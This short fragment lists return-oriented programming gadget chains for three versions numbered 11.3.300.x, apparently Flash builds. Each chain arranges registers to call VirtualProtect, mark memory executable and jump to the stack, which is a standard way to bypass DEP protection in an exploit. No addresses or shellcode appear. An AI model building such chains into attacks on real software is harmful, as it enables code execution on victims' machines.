11.3.300.257 POP EAX # RETN ptr to VirtualProtect() MOV EAX,DWORD PTR DS:[EAX] # RETN XCHG EAX,ESI # RETN POP EBP # RETN jmp esp POP EBX # RETN 0x00000400-> ebx POP EDX # RETN 0x00000040-> edx POP ECX # RETN Writable location POP EDI # RETN RETN (ROP NOP) POP EAX # RETN nop PUSHAD # RETN 11.3.300.265 POP EAX # RETN ptr to VirtualProtect() MOV EAX,DWORD PTR DS:[EAX] # RETN XCHG EAX,ESI # RETN POP EBP # RETN jmp esp POP EBX # RETN 0x00000400-> ebx POP EDX # RETN 0x00000040-> edx POP ECX # RETN Writable location POP EDI # RETN RETN (ROP NOP) POP EAX # RETN nop PUSHAD # RETN 11.3.300.268 POP ECX # RETN ptr to VirtualProtect() MOV EAX,DWORD PTR DS:[ECX] XCHG EAX,ESI # RETN POP EBP # RETN jmp esp POP EBX # RETN 0x00000400-> ebx POP EDX # RETN 0x00000040-> edx POP ECX # RETN Writable location POP EDI # RETN # RETN (ROP NOP) POP EAX # RETN nop PUSHAD # RETN